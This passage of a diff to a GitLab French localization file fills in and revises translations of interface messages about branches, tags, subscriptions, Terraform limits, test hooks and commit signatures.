msgid "Something went wrong while setting %{issuableType} confidentiality."
-msgstr ""
+msgstr "Une erreur s'est produite lors de la configuration de la confidentialité de %{issuableType}."
msgid "Something went wrong while setting %{issuableType} health status."
msgstr "Une erreur s'est produite lors du réglage de l'état de santé de %{issuableType}."
@@ -39219,6 +39875,12 @@ msgstr "IP source"
msgid "Source branch"
msgstr "Branche source"
+msgid "Source branch does not exist"
+msgstr "La branche source n'existe pas"
+
+msgid "Source branch is protected from force push"
+msgstr "La branche source est protégée contre les poussées forcées"
+
msgid "Source branch will be deleted."
msgstr "La branche source sera supprimée."
@@ -39262,7 +39924,7 @@ msgid "SourceEditor|Source Editor instance is required to set up an extension."
msgstr "Une instance de l'Éditeur de Source est requise pour mettre en place une extension."
msgid "SourceEditor|`definition` property is expected on the extension."
-msgstr ""
+msgstr "La propriété `definition` est attendue sur l'extension."
msgid "Sourcegraph"
msgstr "Sourcegraph"
@@ -39340,10 +40002,10 @@ msgid "Speed up your pipelines with Needs relationships"
msgstr "Accélérez vos pipelines avec des relations de Besoins"
msgid "Spent at"
-msgstr "Passé le"
+msgstr "À compter du"
msgid "Spent at can't be a future date and time."
-msgstr ""
+msgstr "L'heure et la date à partir desquelles le temps est décompté ne peuvent pas être dans le futur."
msgid "Squash commit message"
msgstr "Message du squash des commits"
@@ -39376,7 +40038,7 @@ msgid "Star toggle failed. Try again later."
msgstr "L'ajout/suppression de l'étoile a échoué. Réessayez plus tard."
msgid "StarProject|Star"
-msgstr "Mettre en favori"
+msgstr "Ajouter aux favoris"
msgid "Starred Projects"
msgstr "Projets favoris"
@@ -39391,7 +40053,7 @@ msgid "StarredProjectsEmptyState|Visit a project page and press on a star icon.
msgstr "Consultez la page d'un projet et cliquez sur l'icône étoile. Vous pourrez ensuite trouver le projet sur cette page."
msgid "StarredProjectsEmptyState|You don't have starred projects yet."
-msgstr "Vous n'avez pas encore de projets étoilés."
+msgstr "Vous n'avez pas encore de projets favoris."
msgid "Starrers"
msgstr ""
@@ -39403,7 +40065,7 @@ msgid "Start Date"
msgstr "Date de début"
msgid "Start Time"
-msgstr ""
+msgstr "Heure de début"
msgid "Start Web Terminal"
msgstr "Démarrer le Terminal Web"
@@ -39414,15 +40076,15 @@ msgstr "Créer une %{new_merge_request} avec ces changements"
msgid "Start a Free Ultimate Trial"
msgstr "Commencez un Essai Ultimate Gratuit"
-msgid "Start a new discussion…"
-msgstr "Démarrer une nouvelle discussion…"
-
msgid "Start a new merge request with these changes"
msgstr "Démarrer une nouvelle demande de fusion avec ces modifications"
msgid "Start a review"
msgstr "Démarrer une revue de code"
+msgid "Start another thread"
+msgstr "Démarrer un autre fil"
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr "Commencez par choisir un groupe pour débuter l'exploration des demandes de fusion qu'il contient. Vous pouvez ensuite procéder au filtrage par projets, étiquettes, jalons et auteurs."
@@ -39442,16 +40104,16 @@ msgid "Start internal thread"
msgstr "Démarrer un fil de conversation interne"
msgid "Start merge train"
-msgstr ""
+msgstr "Démarrer un train de fusion"
msgid "Start merge train when pipeline succeeds"
msgstr "Démarrer un train de fusion lorsque le pipeline réussit"
msgid "Start merge train..."
-msgstr ""
+msgstr "Démarrer un train de fusion..."
msgid "Start remote connection"
-msgstr ""
+msgstr "Démarrer une connexion à distance"
msgid "Start search"
msgstr "Commencer une recherche"
@@ -39472,7 +40134,7 @@ msgid "Started %{startsIn}"
msgstr ""
msgid "Started asynchronous removal of all repository check states."
-msgstr ""
+msgstr "A démarré la suppression asynchrone de tous les états de vérification du dépôt."
msgid "Started escalation for this incident."
msgstr ""
@@ -39484,7 +40146,7 @@ msgid "Starts"
msgstr "Commence"
msgid "Starts %{startsIn}"
-msgstr ""
+msgstr "Commence %{startsIn}"
msgid "Starts at (UTC)"
msgstr "Démarre à (UTC)"
@@ -39493,7 +40155,7 @@ msgid "Starts escalations for this incident"
msgstr ""
msgid "Starts on"
-msgstr ""
+msgstr "Commence le"
msgid "Starts: %{startsAt}"
msgstr "Commence : %{startsAt}"
@@ -39610,10 +40272,10 @@ msgid "StatusPage|AWS access key ID"
msgstr "ID de la clé d'accès AWS"
msgid "StatusPage|AWS region"
-msgstr ""
+msgstr "Région AWS"
msgid "StatusPage|Active"
-msgstr ""
+msgstr "Actif"
msgid "StatusPage|Bucket %{docsLink}"
msgstr "%{docsLink} Bucket"
@@ -39622,7 +40284,7 @@ msgid "StatusPage|Configure file storage settings to link issues in this project
msgstr "Configurer les paramètres de stockage de fichiers pour lier les tickets de ce projet à une page d’état externe."
msgid "StatusPage|S3 Bucket name"
-msgstr ""
+msgstr "Nom du compartiment S3"
msgid "StatusPage|Status page"
msgstr "Page d'état"
@@ -39694,7 +40356,7 @@ msgid "Strikethrough text"
msgstr "Texte barré"
msgid "Sub-batch size"
-msgstr ""
+msgstr "Taille de division de lot"
msgid "Subdomains of the Pages root domain %{root_domain} are reserved and cannot be used as custom Pages domains."
msgstr "Les sous-domaines du domaine racine des Pages %{root_domain} sont réservés et ne peuvent pas être utilisés comme domaines de Pages personnalisés."
@@ -39706,7 +40368,7 @@ msgid "Subgroup milestone"
msgstr "Jalon de sous-groupe"
msgid "Subgroup navigation"
-msgstr ""
+msgstr "Navigation dans les sous-groupes"
msgid "SubgroupCreationLevel|Roles allowed to create subgroups"
msgstr "Rôles autorisés à créer des sous-groupes"
@@ -39730,10 +40392,10 @@ msgid "Subgroups can set up their own two-factor authentication rules"
msgstr "Les sous-groupes peuvent configurer leurs propres règles d'authentification à deux facteurs"
msgid "Subject Key Identifier:"
-msgstr ""
+msgstr "Identifiant de clé sujette :"
msgid "Subkeys"
-msgstr ""
+msgstr "Sous-clés"
msgid "Submit"
msgstr "Envoyer"
@@ -39763,7 +40425,7 @@ msgid "Submitted as ham"
msgstr "Soumis comme acceptable"
msgid "Submitted the current review."
-msgstr ""
+msgstr "A envoyé la revue actuelle."
msgid "Subscribe"
msgstr "S’abonner"
@@ -39784,13 +40446,13 @@ msgid "Subscribed"
msgstr "Abonné"
msgid "Subscribed to this %{quick_action_target}."
-msgstr ""
+msgstr "Abonné à ce(tte) %{quick_action_target}."
msgid "Subscribed to this project"
msgstr "Abonné à ce projet"
msgid "Subscribes to this %{quick_action_target}."
-msgstr ""
+msgstr "S'abonne à ce(tte) %{quick_action_target}."
msgid "Subscript"
msgstr "Indice"
@@ -39820,7 +40482,7 @@ msgid "SubscriptionBanner|Add new license"
msgstr "Ajouter une nouvelle licence"
msgid "SubscriptionBanner|Export license usage file"
-msgstr ""
+msgstr "Exporter le fichier d'utilisation de licence"
msgid "SubscriptionBanner|Upload new license"
msgstr "Téléverser une nouvelle licence"
@@ -39912,18 +40574,36 @@ msgstr "Le décompte d'utilisation est effectué une fois par jour à midi."
msgid "Subscriptions"
msgstr "Abonnements"
+msgid "Subscriptions|Activation date"
+msgstr "Date d'activation"
+
msgid "Subscriptions|Chat with sales"
msgstr "Discuter avec le service commercial"
msgid "Subscriptions|Close"
msgstr "Fermer"
+msgid "Subscriptions|End date"
+msgstr "Date de fin"
+
+msgid "Subscriptions|End date:"
+msgstr "Date de fin :"
+
+msgid "Subscriptions|Last sync"
+msgstr "Dernière synchronisation"
+
+msgid "Subscriptions|None"
+msgstr "Sans"
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr "Pas encore décidé à acheter ?"
msgid "Subscriptions|Start a free trial"
msgstr "Démarrer un essai gratuit"
+msgid "Subscriptions|Start date"
+msgstr "Date de début"
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr "Nous comprenons. Peut-être avez-vous des questions pour notre service commercial, ou préférez-vous d'abord essayer quelques-unes des fonctionnalités payantes. Que souhaitez-vous ?"
@@ -40087,7 +40767,7 @@ msgid "SuggestedReviewers|Suggested reviewers"
msgstr "Relecteurs suggérés"
msgid "SuggestedReviewers|Suggested reviewers help link"
-msgstr ""
+msgstr "Lien d'aide sur les relecteurs suggérés"
msgid "SuggestedReviewers|Suggestions appear in the Reviewer section of the right sidebar"
msgstr "Les suggestions apparaissent dans la section Relecteur de la barre latérale droite"
@@ -40140,6 +40820,9 @@ msgstr "Activation impossible en raison de sièges non concordants"
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr "L'activation n'est pas possible à cause d'un ajustement incorrect"
+msgid "SuperSonics|Add activation code"
+msgstr "Ajouter un code d'activation"
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr "Une erreur s’est produite lors de l’ajout de votre abonnement"
@@ -40158,11 +40841,11 @@ msgstr "Licences pour le Cloud"
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr "Les licences pour le Cloud sont maintenant disponibles. C'est un moyen plus simple pour activer des instances et gérer les abonnements. Apprenez-en davantage sur le %{blogPostLinkStart}message de notre blog%{blogPostLinkEnd}. Les codes d'activation sont disponibles sur le %{portalLinkStart}Portail Clients%{portalLinkEnd}."
-msgid "SuperSonics|Enter activation code"
-msgstr "Entrez le code d'activation"
+msgid "SuperSonics|Customers Portal"
+msgstr "Portail client"
msgid "SuperSonics|Export license usage file"
-msgstr ""
+msgstr "Exporter le fichier d'utilisation de licence"
msgid "SuperSonics|Free trial"
msgstr "Essai gratuit"
@@ -40179,9 +40862,6 @@ msgstr "En savoir plus sur l'%{activationLinkStart}activation de votre abonnemen
msgid "SuperSonics|Licensed to"
msgstr "Licence accordée à"
-msgid "SuperSonics|Manage"
-msgstr "Gérer"
-
msgid "SuperSonics|Maximum users"
msgstr "Nombre maximum d'utilisateurs"
@@ -40257,13 +40937,13 @@ msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obl
msgstr "Vous pouvez commencer un essai gratuit de GitLab Ultimate sans aucune obligation ou détails de paiement."
msgid "SuperSonics|You can sync your subscription data to ensure your details are up to date."
-msgstr ""
+msgstr "Vous pouvez synchroniser les données de votre abonnement pour vous assurer que vos informations sont à jour."
msgid "SuperSonics|You do not have an active subscription"
msgstr "Vous n'avez pas d'abonnement actif"
msgid "SuperSonics|You have a future dated license"
-msgstr ""
+msgstr "Vous avez une licence avec une date future"
msgid "SuperSonics|You have added a license that activates on %{date}. Please see the subscription history table below for more details."
msgstr "Vous avez ajouté une licence qui s’active le %{date}. Veuillez consulter l’historique des abonnements dans le tableau ci-dessous pour plus de détails."
@@ -40317,7 +40997,7 @@ msgid "Superscript"
msgstr "Exposant"
msgid "Support"
-msgstr ""
+msgstr "Support"
msgid "Support for custom certificates is disabled. Ask your system's administrator to enable it."
msgstr "La prise en charge des certificats personnalisés est désactivée. Demandez à l'administrateur de votre système de l'activer."
@@ -40353,7 +41033,7 @@ msgid "Switch to GitLab Next"
msgstr "Passer à GitLab Next"
msgid "Switch to the source to copy the file contents"
-msgstr ""
+msgstr "Basculer sur la source pour copier le contenu du fichier"
msgid "Symbolic link"
msgstr "Lien symbolique"
@@ -40437,13 +41117,13 @@ msgid "Table of contents"
msgstr "Table des matières"
msgid "Tag"
-msgstr ""
+msgstr "Étiquette"
msgid "Tag does not exist"
msgstr "L'étiquette n'existe pas"
msgid "Tag list:"
-msgstr ""
+msgstr "Liste des étiquettes :"
msgid "Tag name"
msgstr "Nom de l'étiquette"
@@ -40458,16 +41138,16 @@ msgid "Tag push events"
msgstr "Événements de poussée d'étiquette"
msgid "Tag this commit."
-msgstr ""
+msgstr "Étiquetez cette validation."
msgid "Tag:"
msgstr "Étiquette :"
msgid "Tagged this commit to %{tag_name} with \"%{message}\"."
-msgstr ""
+msgstr "Ce commit a été étiqueté en tant que %{tag_name} avec « %{message} »."
msgid "Tagged this commit to %{tag_name}."
-msgstr ""
+msgstr "Ce commit a été étiqueté en tant que %{tag_name}."
msgid "Tags"
msgstr "Étiquettes"
@@ -40479,10 +41159,10 @@ msgid "Tags feed"
msgstr "Flux d’étiquettes"
msgid "Tags this commit to %{tag_name} with \"%{message}\"."
-msgstr ""
+msgstr "Étiquette cette validation en tant que %{tag_name} avec « %{message} »."
msgid "Tags this commit to %{tag_name}."
-msgstr ""
+msgstr "Étiquette cette validation en tant que %{tag_name}."
msgid "Tags:"
msgstr "Étiquettes :"
@@ -40632,16 +41312,16 @@ msgid "TasksToBeDone|Set up CI/CD pipelines to build, test, deploy, and monitor
msgstr "Configurer des pipelines CI/CD pour construire, tester, déployer et surveiller le code"
msgid "Tasks|%{complete_count} of %{total_count} %{checklist_item_noun} completed"
-msgstr ""
+msgstr "%{complete_count} %{checklist_item_noun} terminé(s) sur %{total_count}"
msgid "Tasks|%{complete_count}/%{total_count} %{checklist_item_noun}"
-msgstr ""
+msgstr "%{complete_count}/%{total_count} %{checklist_item_noun}"
msgid "Team"
msgstr "Équipe"
msgid "Team domain"
-msgstr ""
+msgstr "Domaine de l'équipe"
msgid "TeamcityIntegration|Trigger TeamCity CI after a merge request has been created or updated"
msgstr "Déclencher TeamCity CI après la création ou la mise à jour d'une demande de fusion"
@@ -40670,20 +41350,11 @@ msgstr "ne peut être défini qu'une seule fois"
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr "ne peut être défini qu'avec plus de %{percentage}%% d'utilisation"
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr "GitLab vous autorise une %{strongStart}augmentation gratuite, ponctuelle, du stockage%{strongEnd}. Pendant 30 jours, votre espace de stockage sera illimité. Cela vous donne le temps d'en réduire votre utilisation. Après 30 jours, votre limite d'origine de %{limit} sera appliquée. Si vous êtes à la capacité de stockage maximale, votre compte sera en lecture seule. Pour continuer à utiliser GitLab, vous devrez en acheter davantage ou en diminuer l'utilisation."
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr "Augmenter temporairement le stockage"
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr "Augmenter temporairement le stockage maintenant ?"
-
msgid "Terminal"
msgstr "Terminal"
msgid "Terminal for environment"
-msgstr ""
+msgstr "Terminal pour l'environnement"
msgid "Terminal sync service is running"
msgstr "Le service de synchronisation du terminal est en cours d'exécution"
@@ -40709,6 +41380,21 @@ msgstr "Le backend d'état Terraform géré par GitLab peut stocker votre état
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr "Terraform est utilisé ? Essayez l'État Terraform Géré par GitLab"
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr "En savoir plus sur les limites de Terraform."
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr "Limites des fonctionnalités de Terraform"
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr "Taille maximale (en octets) des fichiers d'état Terraform. Mettre à 0 pour aucune limite."
+
+msgid "TerraformLimits|Terraform limits"
+msgstr "Limites de Terraform"
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr "Limite de la taille de l'état de Terraform (octets)"
+
msgid "Terraform|%{name} successfully removed"
msgstr "%{name} supprimé avec succès"
@@ -40913,31 +41599,31 @@ msgid "TestCases|Submit test case"
msgstr "Envoyer un cas de test"
msgid "TestHooks|Ensure one of your projects has merge requests."
-msgstr ""
+msgstr "Assurez-vous que l'un de vos projets possède des demandes de fusion."
msgid "TestHooks|Ensure the project has CI jobs."
-msgstr ""
+msgstr "Assurez-vous que le projet possède des tâches d'intégration continue."
msgid "TestHooks|Ensure the project has CI pipelines."
-msgstr "Assurez-vous que le projet dispose de pipelines CI."
+msgstr "Assurez-vous que le projet possède des pipelines d'intégration continue."
msgid "TestHooks|Ensure the project has deployments."
-msgstr ""
+msgstr "Assurez-vous que le projet possède des déploiements."
msgid "TestHooks|Ensure the project has issues."
-msgstr ""
+msgstr "Assurez-vous que le projet possède des tickets."
msgid "TestHooks|Ensure the project has merge requests."
-msgstr ""
+msgstr "Assurez-vous que le projet possède des demandes de fusion."
msgid "TestHooks|Ensure the project has notes."
-msgstr ""
+msgstr "Assurez-vous que le projet possède des notes."
msgid "TestHooks|Ensure the project has releases."
-msgstr ""
+msgstr "Assurez-vous que le projet possède des versions."
msgid "TestHooks|Ensure the wiki is enabled and has pages."
-msgstr ""
+msgstr "Assurez-vous que le wiki est activé et contient des pages."
msgid "TestReports|%{count} errors"
msgstr "%{count} erreurs"
@@ -40975,9 +41661,6 @@ msgstr "Aucun cas de test n'a été trouvé dans le rapport de tests."
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr "Les rapports de tests nécessitent des artéfacts de tâche mais tous ces derniers ont expiré. %{linkStart}En savoir plus%{linkEnd}"
-msgid "TestReports|Tests"
-msgstr "Tests"
-
msgid "TestReports|There are no test cases to display."
msgstr "Il n’y a aucun cas de test à afficher."
@@ -41015,7 +41698,7 @@ msgid "Thank you for your business."
msgstr "Merci de votre confiance."
msgid "Thank you for your report. A GitLab administrator will look into it shortly."
-msgstr ""
+msgstr "Merci pour votre rapport. Un administrateur de GitLab l'étudiera très prochainement."
msgid "Thank you for your support request! We are tracking your request as ticket #%{issue_iid}, and will respond as soon as we can."
msgstr "Merci pour votre demande de support ! Nous suivrons votre demande via le ticket #%{issue_iid} et nous y répondrons dès que possible."
@@ -41033,7 +41716,7 @@ msgid "That's it, well done!"
msgstr "Voilà, bien joué!"
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
-msgstr ""
+msgstr "Le %{link_start}modèle d'apurement%{link_end} autorise le fait d'avoir plus d'utilisateurs, et ceux excédentaires seront facturés de manière rétroactive lors du renouvellement."
msgid "The %{plan_name} is no longer available to purchase. For more information about how this will impact you, check our %{faq_link_start}frequently asked questions%{faq_link_end}."
msgstr "Le %{plan_name} n'est plus disponible à l'achat. Pour plus d'informations sur l'impact que cela aura sur vous, consultez notre %{faq_link_start}foire aux questions%{faq_link_end}."
@@ -41110,7 +41793,7 @@ msgid "The comparison view may be inaccurate due to merge conflicts."
msgstr "La vue comparative peut être inexacte en raison de conflits de fusion."
msgid "The complete DevOps platform. One application with endless possibilities. Organizations rely on GitLab’s source code management, CI/CD, security, and more to deliver software rapidly."
-msgstr ""
+msgstr "La plateforme DevOps complète. Une application unique avec des possibilités infinies. Les entreprises s'appuient sur la gestion du code source, la CI/CD, la sécurité et d'autres fonctionnalités de GitLab pour livrer des logiciels rapidement."
msgid "The compliance report shows the merge request violations merged in protected environments."
msgstr "Le rapport de conformité montre les violations des demandes de fusion fusionnées dans les environnements protégés."
@@ -41206,10 +41889,10 @@ msgid "The finding is not a vulnerability because it is part of a test or is tes
msgstr "L'élément découvert n'est pas une vulnérabilité car il fait partie d'un test ou correspond aux données d'un test."
msgid "The following %{user} can also merge into this branch: %{branch}"
-msgstr ""
+msgstr "Le ou les %{user} suivants peuvent également fusionner dans cette branche : %{branch}"
msgid "The following %{user} can also push to this branch: %{branch}"
-msgstr ""
+msgstr "Le ou les %{user} suivants peuvent également pousser vers cette branche : %{branch}"
msgid "The following Personal Access Token was revoked by an administrator, %{username}."
msgstr "Le Jeton d'Accès Personnel suivant a été révoqué par un administrateur, %{username}."
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] "Le jeton d'accès personnel suivant : %{token_names} a été révoqué car une nouvelle stratégie d'expiration des jetons d'accès personnels a été définie."
msgstr[1] "Les jetons d'accès personnels suivants : %{token_names} ont été révoqués car une nouvelle stratégie d'expiration des jetons d'accès personnels a été définie."
+msgid "The following personal access tokens have expired:"
+msgstr "Les jetons d'accès personnels suivants ont expiré :"
+
msgid "The fork relationship has been removed."
msgstr "La relation de divergence a été supprimée."
@@ -41288,10 +41974,10 @@ msgid "The invitation can not be found with the provided invite token."
msgstr "L'invitation ne peut pas être trouvée avec le jeton d'invitation fourni."
msgid "The invitation could not be accepted."
-msgstr ""
+msgstr "L'invitation n'a pas pu être acceptée."
msgid "The invitation could not be declined."
-msgstr ""
+msgstr "L'invitation n'a pas pu être refusée."
msgid "The invitation has already been accepted."
msgstr "L'invitation a déjà été acceptée."
@@ -41380,6 +42066,9 @@ msgstr "Le nom du fichier de configuration CI/CD. Un chemin relatif au répertoi
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr "Le nom du projet Jenkins. Copiez-le en prenant la fin de l'URL du projet."
+msgid "The new Web IDE"
+msgstr "Le nouvel EDI Web"
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr "Le nombre de modifications à récupérer depuis GitLab lors du clonage d'un dépôt. Des valeurs plus basses peuvent accélérer l'exécution du pipeline. Définir sur %{code_open}0%{code_close} ou laisser vide pour récupérer toutes les branches et étiquettes pour chaque tâche"
@@ -41477,7 +42166,7 @@ msgid "The scan has been created."
msgstr "L'analyse a été créée."
msgid "The secret is only available when you first create the application."
-msgstr ""
+msgstr "Le secret n'est disponible qu'au moment où vous créez l'application."
msgid "The snippet can be accessed without any authentication."
msgstr "L'extrait de code peut être consulté sans aucune authentification."
@@ -41546,16 +42235,16 @@ msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr "La valeur de la variable fournie dépasse la limite de %{count} caractère"
msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
-msgstr ""
+msgstr "La vulnérabilité est connue et n'a pas été remédiée ni atténuée, mais elle est considérée comme un risque d'entreprise acceptable."
msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
-msgstr ""
+msgstr "La vulnérabilité est connue et n'a pas été remédiée ni atténuée, mais elle est considérée comme étant dans une partie de l'application qui ne sera pas mise à jour."
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr "La vulnérabilité n'est plus détectée. Vérifiez qu'elle a été corrigée ou supprimée avant de changer son état."
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
-msgstr "La vulnérabilité n'est plus détectée. Vérifiez qu'elle a été corrigée avant de changer son état."
+msgstr "La vulnérabilité n'est plus détectée. Vérifiez qu'elle a été remédiée avant de changer son état."
msgid "Theme"
msgstr "Thème"
@@ -41584,6 +42273,9 @@ msgstr "Il n'y a pas de Journaux d'Indésirables"
msgid "There are no abuse reports!"
msgstr "Il n'y a aucun rapport d'abus !"
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr "Il n'y a aucune règle d'approbation pour le paramètre `represent_as` donné. Utilisez plutôt un nom d'Utilisateur/Groupe/Rôle valide."
+
msgid "There are no archived requirements"
msgstr "Il n'y a aucune exigence archivée"
@@ -41909,7 +42601,7 @@ msgid "These examples show how to trigger this project's pipeline for a branch o
msgstr "Ces exemples montrent comment déclencher le pipeline de ce groupe pour une branche ou une étiquette."
msgid "These existing issues have a similar title. It might be better to comment there instead of creating another similar issue."
-msgstr ""
+msgstr "Ces tickets existants ont presque le même titre. Il serait peut-être préférable d’y ajouter un commentaire plutôt que de créer un autre ticket similaire."
msgid "These runners are shared across projects in this group."
msgstr "Ces exécuteurs sont partagés par tous les projets de ce groupe."
@@ -41921,7 +42613,7 @@ msgid "These variables are inherited from the parent group."
msgstr "Ces variables sont héritées du groupe parent."
msgid "These will be sent to %{email} in an attachment once finished."
-msgstr ""
+msgstr "Une fois terminé, cet export sera envoyé à %{email} en pièce jointe."
msgid "Things to be aware of before transferring:"
msgstr "Les choses à savoir avant de transférer :"
@@ -41932,6 +42624,9 @@ msgstr "Liens des Annonces d'Offres Tierces"
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr "Ce %{issuableDisplayName} est verrouillé. Seuls les membres du projet peuvent commenter."
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr "Ce(tte) %{issuable} est caché(e) car son auteur a été banni"
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr "Ce(tte) %{issuable} est verrouillé(e). Seuls les %{strong_open}membres du projet%{strong_close} peuvent apporter des commentaires."
@@ -41939,10 +42634,10 @@ msgid "This %{noteableTypeText} is %{confidentialLinkStart}confidential%{confide
msgstr "Ce %{noteableTypeText} est %{confidentialLinkStart}confidentiel%{confidentialLinkEnd} et %{lockedLinkStart}verrouillé%{lockedLinkEnd}."
msgid "This %{noteableTypeText} is locked."
-msgstr ""
+msgstr "Ce(tte) %{noteableTypeText} est verrouillé(e)."
msgid "This %{viewer} could not be displayed because %{reason}. You can %{options} instead."
-msgstr ""
+msgstr "Ce %{viewer} n'a pas pu être affiché car %{reason}. Vous pouvez %{options} à la place."
msgid "This Cron pattern is invalid"
msgstr "Ce motif Cron n'est pas valide"
@@ -41978,7 +42673,7 @@ msgid "This action will %{strongOpen}permanently remove%{strongClose} %{codeOpen
msgstr "Cette action va %{strongOpen}supprimer définitivement%{strongClose} %{codeOpen}%{group}%{codeClose} %{strongOpen}tout de suite%{strongClose}."
msgid "This also resolves all related threads"
-msgstr ""
+msgstr "Cela résout également tous les fils de conversation associés"
msgid "This also resolves this thread"
msgstr "Cela résout également ce fil de conversation"
@@ -42008,7 +42703,7 @@ msgid "This attachment has been truncated to avoid exceeding the maximum allowed
msgstr "Cette pièce-jointe a été tronquée pour éviter de dépasser la taille maximale autorisée de %{size_limit}. %{written_count} des %{requirements_count} exigences ont été incluses. Envisagez de réexporter avec une sélection plus restreinte d'exigences."
msgid "This block is self-referential"
-msgstr ""
+msgstr "Ce bloc est autoréférentiel"
msgid "This board's scope is reduced"
msgstr "La portée de ce tableau est réduite"
@@ -42034,21 +42729,27 @@ msgstr "Ce commentaire a changé depuis que vous avez commencé à le modifier.
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr "Ce commit fait partie de la demande de fusion %{link_to_merge_request}. Les commentaires créés ici seront créés dans le contexte de cette demande de fusion."
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr "Ce commit a été signé avec %{strong_open}plusieurs%{strong_close} signatures."
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr "Ce commit a été signé avec une signature %{strong_open}vérifiée%{strong_close} et le courriel du contributeur a bien été vérifié comme correspondant au même utilisateur."
msgid "This commit was signed with a different user's verified signature."
msgstr "Ce commit a été signé avec la signature vérifiée d'un utilisateur différent."
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr "Ce commit a été signé avec une signature vérifiée et le courriel du contributeur a bien été vérifié comme correspondant au même utilisateur."
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr "Ce commit a été signé avec une signature vérifiée, mais l'adresse de courriel du contributeur n'est pas associée à la Clé GPG."
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr "Ce commit a été signé avec une signature %{strong_open}non vérifiée%{strong_close}."
+msgid "This commit was signed with an unverified signature."
+msgstr "Ce commit a été signé avec une signature non vérifiée."
+
+msgid "This commit was signed with multiple signatures."
+msgstr "Ce commit a été signé avec plusieurs signatures."
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr "Ce contenu n'a pas pu être affiché car %{reason}. Vous pouvez %{options} à la place."
@@ -42080,7 +42781,7 @@ msgid "This directory"
msgstr "Ce répertoire"
msgid "This domain is not verified. You will need to verify ownership before access is enabled."
-msgstr ""
+msgstr "Ce domaine n'est pas vérifié. Vous devez en vérifier la propriété avant que l'accès ne soit activé."
msgid "This email address does not look right, are you sure you typed it correctly?"
msgstr "Cette adresse de courriel semble incorrecte, êtes-vous sûr de l'avoir saisie correctement ?"
@@ -42137,7 +42838,7 @@ msgid "This epic would exceed maximum number of related epics."
msgstr "Cette épopée dépasserait le nombre maximum d'épopées associées."
msgid "This experiment has no logged candidates"
-msgstr ""
+msgstr "Cette expérience n'a consigné aucun candidat"
msgid "This feature requires local storage to be enabled"
msgstr "Cette fonctionnalité nécessite que le stockage local soit activé"
@@ -42167,7 +42868,7 @@ msgid "This group can't be transferred because it is linked to a subscription. T
msgstr "Ce groupe ne peut pas être transféré car il est lié à un abonnement. Pour transférer ce groupe, %{linkStart}associez l'abonnement%{linkEnd} à un groupe différent."
msgid "This group cannot be invited to a project inside a group with enforced SSO"
-msgstr ""
+msgstr "Ce groupe ne peut pas être invité sur un projet qui se trouve dans un groupe avec SSO obligatoire"
msgid "This group does not have any group runners yet."
msgstr "Il n'y a pas encore d'exécuteur de groupe pour ce groupe."
@@ -42271,6 +42972,9 @@ msgstr "Cette tâche n’a pas de trace."
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr "Cette tâche ne s'exécute pas automatiquement et doit être démarrée manuellement, mais vous n'y avez pas accès."
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr "Cette tâche ne démarre pas automatiquement et doit être démarrée manuellement. Avant de la démarrer, vous pouvez ajouter des variables CI/CD ci-dessous pour faire des modifications de dernière minute sur la configuration."
+
msgid "This job has been canceled"
msgstr "Cette tâche a été annulée"
@@ -42338,7 +43042,7 @@ msgid "This job is performing tasks that must complete before it can start"
msgstr "Cette tâche est en train d'effectuer des actions qui doivent se terminer avant qu'elle ne puisse démarrer"
msgid "This job is preparing to start"
-msgstr ""
+msgstr "Cette tâche se prépare à démarrer"
